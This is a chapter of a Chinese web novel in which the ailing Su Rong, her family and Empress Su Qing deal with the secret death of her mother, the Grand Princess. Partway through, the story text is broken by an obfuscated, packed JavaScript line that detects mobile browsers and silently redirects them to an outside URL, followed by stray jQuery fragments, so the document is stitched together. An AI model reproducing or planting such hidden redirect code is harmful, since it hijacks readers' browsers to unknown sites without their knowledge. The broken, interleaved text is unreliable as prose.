直至春闱结束,贡院里的考生被放回家来,苏蓉一直病在塌上。
“连着几日低烧不退,茶饭不思,这两夜又整宿盗汗,说胡话……”小酒强忍哽咽,因身上带伤,跪坐在苏蓉的塌前说话“许御医,我家姑娘什么时候能好?”
小酒的臀腿上的皮肉还没好全,前天又去厨房里与人厮了一架,伤口方好了些又崩裂开。
本已能歪着走,现在又得回床上养着皮肉。
许寿方才已瞧过苏蓉的眼睛口鼻等,把了脉象,又听小酒将病情诉说一番,再看之前的药方,摇摇头:“此乃肝气郁结、疏泄失司之候。我且开一方来试试。”
“多谢许御医。”苏敬宪拱手,许寿方写好,苏敬宪就说“赶紧去抓药。”
小厮屁滚尿流地冲出去。
看他这样慌张,苏敬宪亦察觉自己有些失态,转身说:“有许太医来救,小女感激不尽。”
许寿见他一片慈父心肠,摆手道:“皇后令我来的,我自当竭尽全力。”
却不知自沈月兰守陵,他上任户部侍郎,可谓风光无两,却是第一次来苏蓉房里亲自探望。
昨夜苏蓉盗汗不止,小酒着人去厨房弄些四君子汤来补气,其中人参一味竟混了假的。
端着药水去找苏敬宪,他只说后宅之事交油她们自己安置。
气得小酒直接闯进那婆子的房里,将床上的婆子泼醒,扭打起来。
这才又裂了伤口。
许寿将写好的药方递交到苏敬宪手里后,撑着桌子站起来。
许寿的身边的小厮长随一个扶着他,另一个扛了医箱,苏敬宪跟在后面送客。
许寿走到门槛前忽停住脚步,苍老的嗓音缓缓道:“对了,长公主殿下临行前,留了什么话没有?”
他的手扶着门框,小厮虚抬着他的胳膊,许寿的身子只往里偏了一点,浑浊的眼珠子尽数斜着,盯着苏敬宪面上的每一丝变化。
苏敬宪愁苦着脸,缓缓摇头。
许御医收回目光,老成麻木的脸上看不出任何情绪变化,他只是缓缓地说:“三姑娘骤然逢此大变,也有骨肉分离之苦,多多宽慰解开愁绪,或能大好。”
苏敬宪又作一长揖,许御医摆手:“照看孩子去吧,不必送了。”
苏敬宪着了府内总管去送,又一声谢:“许太医慢走。”
许御医在公主府总管的一再拜别后挥辞离开,转身时险些被一个神色慌张的年轻人撞翻,小厮扶住险些摔倒的许寿,要骂那不长眼的东西,抬头却瞧那人一头冲进了公主府里。
这个慌慌张张冲进公主府的正是苏崇函。
苏崇函从贡院里出来,家里只遣了两个伴读的小厮来接,当下便觉不对。
一问才知短短九日,家里已经天翻地覆。
等不及马车停稳,跳下来就往家里冲。
因几天没吃好睡好,跑到苏蓉院里时已一路摔了两个跟头。
步履虚浮地跑进苏蓉的房间,当头撞上一个人:“父亲。”
苏敬宪扶住往前倒的苏崇函。
苏敬宪将他扶正:“你妹妹还在睡着,等她醒了再来看她。你先去梳洗一番,到我书房来。”
“娘亲她怎么会自请去守陵?”苏崇函一肚子的疑问,哪里等得及晚点再问。
苏敬宪沉默不语,看一眼身后,苏蓉还晕睡着,房里还有几个丫鬟伺候。
“此处不方便说话,”苏敬宪倦怠开口“去吧。”
苏崇函还待开口,苏敬宪已转身走了。
转身看见邹映莲从院门处进来。
“大嫂。”
邹映莲刚安置好两个哭闹的孩子,急匆匆赶到苏蓉的院子就撞上苏崇函,她屈膝回礼:“紫苏回来了,快去歇着吧,这儿有我就行。”
紫苏是苏崇函及冠时给自己取的诨名。
“我还是进去看看吧。”他还是不放心。
进去又瞧见苏蓉面白如纸,唇如金纸,眼下一片青黑,虽说是睡着了,但瞧着却像是死了一般。
邹映莲跟在他身后,轻声解释:“总睡不好觉,药也喂不下去,偶尔醒了也是昏沉不晓事儿。”
说起不免垂泪,用帕子掩着擦拭了。
苏崇函没料到会病成这样,邹映莲将自己所了解的事给他说了,最后道:“我已给你大哥修书去了,若真有个什么……”
“绝无可能!”苏崇函大声打断。
邹映莲噙着泪一抖,将这两滴泪硬憋了回去,忙辩解:“我胡说的!二弟别误会。”
苏崇函知道这位嫂嫂性格是怯懦了些,但绝不是坏心的人。
但心中烦乱,无心安慰,匆匆道了句:“我去问问爹。”
仍穿着在贡院里换的一套衣衫,袖口上面还沾着墨汁。
门口守着的小厮见他问好:“二爷。”
苏崇函跨步进到房内。
苏敬宪坐在书桌前一溜的椅子中的一张,靠在椅背上闭着眼睛。
苏崇函绕到他面前:“长公主为何自请守陵?”
苏敬宪睁眼看他头上几根竖起来的头毛如杂草般落魄:“怎么这就来了?”
苏崇函一屁股坐到他旁边的位置:“你先告诉我到底是怎么了,还有陛下为何罔顾祖宗礼制,请你去做户部侍郎。”
苏敬宪扭头冷冷看着他,苏崇函将一切矛头都对准他,心里已经认定这一切都是他暗中计算。
“崇函,你虽是我从宗亲过继来的孩子,家里却一直将你当作亲生的来养,你就是这么报答我的?”苏敬宪淡声说。
苏崇函一怔,自己一下子就失去了所有立场,变得与方才那个看门小厮一模一样。
是个外人。
他无法开口出声。
苏敬宪将他的无措尽收眼底:“你能分清自己的身份,知道要考个功名好光耀门楣,今儿反倒拎不清自己的身份了?”
苏敬宪还要再说,苏崇函猛地站起来,低着头沉默良久,低声说:“我去梳洗。”
钟易川从巷子里的高墙翻进来,落到苏蓉的院子里,有翻到二楼阁楼,却见里面有五六个人。
床前坐着的妇人正好挡住的苏蓉的脸。
他蹲守在窗外的房梁上,等了好一会儿,从这个角度看见了他日思夜想的面孔。
苏蓉憔悴如纸人,看清的一瞬,钟易川只觉心里被一根钢针狠狠扎下,紧缩着疼。
在贡院门口听得公主府的小厮来报时,就猜她此时不好,却没料短短几日重病成如此。
心神恍惚,脚下发出一声稀碎的响动。
邹映莲听得声音,下意识朝那个方向看去,窗外的横梁上什么也没有。
“方才是不是有什么声音?”
“没有啊,夫人听错了吧。”
又是一个婆子,压低声音说:“夫人,皇后娘娘来了。”
还盯着房梁出神的邹映莲一下子站起来,由丫鬟扶着往外间走,苏卿已越过內间的屏风进来。
“我从贡院那儿顺路来悄悄来看一眼,叫她们别大惊小怪,别传了出去。”
这些日子皇后亲自监管科考的消息已传遍了京都,邹映莲陪笑着往旁让了位置。
又指着众人说:“叫她们都出去,不准乱说。”
命令一下,除了搀扶这邹映莲的那个,全退到了院子外头去。
苏卿踱步到苏蓉床前,见她这般,也蹙起眉毛。
问邹映莲:“嫂嫂方才说外面有声音。”
邹映莲被她一声嫂嫂吓软膝盖:“不敢不敢。”弯了膝盖才想起方才没行礼,又慌忙见礼。
看她这样方寸大乱,苏卿也算是知道这个媳妇为何被沈月兰压的死死的。
“你方才听见哪里有声音?”苏卿又问一句。
邹映莲指着窗外的一根横梁说:“好像是哪里,也许是臣妇听错了。”
苏卿看那位置,再看苏蓉的床铺,就知是刚从贡院里出来的钟易川。
“兴许是的。”苏卿随口应,也问起苏蓉的近况,邹映莲将方才与苏崇函说过的话,更详尽的与苏卿交代了。
得知宫里的老太医说没什么大碍,心下稍松,端出上辈子的鸡汤安慰邹映莲,她很是局促,苏卿正要告辞离开,却见床上的苏蓉缓缓睁开眼睛。
邹映莲大喜过望,趴在床前:“蓉儿!”
苏蓉从床上坐起来,邹映莲忙不迭过来扶她,她已经坐正了。
苏蓉看见苏卿就问:“我娘呢?”
公主府众人只知沈月兰守陵,尚且不知她身亡的消息。
苏卿侧首对邹映莲说:“我想与苏蓉说几句话,劳烦嫂子去花厅稍坐片刻。”
邹映莲刚挨上凳子,弹簧似的跳起来:“你们聊你们聊。”
带着人出去了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346356|160711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
苏卿坐在邹映莲之前的位置上,正在苏蓉的床头。
“沈穆庭准备了棺椁,会以修缮皇陵的由头,将长公主与她的生母秘密合葬。”
苏蓉愣神许久,缓缓点头。
苏卿见她失魂落魄:“待一切都过去,我们会给她补上丧仪。”
苏蓉嘲弄道:“人都死了,还弄这些。”
“我只是不懂,太后既已知晓娘亲的死,他们为何不能叫她安生?人都死了,我想祭拜都不能,连个灵位都没有……”
说着已流下泪。
苏卿心中也不是滋味,将朝局将未来的谋划在嘴里过了一遍都难以说出口。
生离死别的痛苦,并非里懂得这是必然的因果,就能有所减少。
“对不起,”她低下头,搓着自己的脸,头一次认识到自己的自负“如果不是我,没有火铳……”
在原著里,沈月兰毒死了沈正母子,原著的苏蓉通过与张子奕达成协议,成为宫妃,遮掩住二人死亡真相。
但现在,致使沈正死亡的是火铳,这东西迟早有一天要暴露在所有人的眼前,倒时候沈正与沈月兰的死……
她心乱如麻,撑着额头,想不透沈月兰为何会突然自杀,又为何用这种方式。
“没有火铳,还有其他的东西。”苏蓉轻声说。
苏卿把自己额头上的一块皮肉揉得发红,她凝目看来,像只在发怒边缘的豹子。
苏蓉虚弱地对她笑笑:“这不怪你。”
“我知道我娘,我们很像,只要是想做的事,不论如何,都要去做。”
苏卿应和着笑笑,笑的很难看:“这倒是。”
不论前世今生,苏卿对与家的归属感都很淡漠,行为上做到感恩父母,与生养父母间的羁绊似乎总是若即若离。故而她能够理解沈月兰的离去对苏蓉的打击很大,却无法感同身受。
身后一点响动。
苏蓉唤:“云起?”
苏卿回头去,看见钟易川猫儿般落在窗台上。
他关了窗,转身很略一欠身:“参见皇后娘娘。”
苏卿早知道他在外面,倒是方才与苏蓉说着话给忘了。
看他脸上也白的没有血色,眼下青黑。
对苏蓉说:“你两倒是一般的苦相。”
苏蓉勾了下嘴角,到底没笑出来。
她对钟易川说:“你该回去歇息。”
钟易川紧抿了嘴,没有搭腔,瞧着是在生闷气。
苏卿觉着自己有些多余了,起身要走,却觉身侧的衣袖被抓住。
苏蓉苍白的小脸前所未有的认真:“苏卿,我娘绝不会自杀,纵使自裁,也不会匆匆给我留下一片字。”
苏卿心头一跳,脑中某根线被牵着,但总还是没完全扯开。
只好暂时压在心里,点头道:“我会尽力将此事掩盖住,但总会有东窗事发的一天,你要做好准备。”
苏蓉咬咬嘴唇,重重点头。
苏卿拉开门出去。
苏卿走后,邹映莲和照顾苏蓉的丫鬟婆子很快就会进来。
“你先回去吧。”苏蓉缩进被子里,将被褥拉上,转头闭上眼睛。
外面已经响起脚步声,钟易川捏着无力的拳:“我晚上再来看你。”
“晚上也别来。”苏蓉闷声说,她声音很小,也不愿去看钟易川。
丫鬟从外面进来:“姑娘再说什么?”
苏蓉转头看向钟易川所在的位置,那里果然已经空空如也。
“没什么。”苏蓉将被子拉上来,挡住又流出来的眼泪。
眼泪无声的流出来,她的声音没有情绪一样平稳:“你在外间候着,我有事自会喊你。”
丫鬟只当她又要一个人发呆,三人都去外间候着了。
不能总是哭了。
她将整个脑袋都躲进被子里,泪水沾湿枕头。
苏蓉伸手从枕头下面抽出折叠整齐的信笺,那是沈月兰给她写的绝笔信,她将这些纸拥在胸前,心里一遍遍的喊着娘亲。
脑中思绪由一团乱麻转至空茫茫一片,渐渐昏沉了去。
悠悠转醒时,看窗外靛蓝色的天空一轮圆月高悬,繁星点点,雕花楼阁的窗台上坐着位翩然若仙的青衣少年。
衣带在深夜的柔风里荡漾,钟易川的深眸如水般宁静。
她怔怔看着,一时分不清梦境与现实。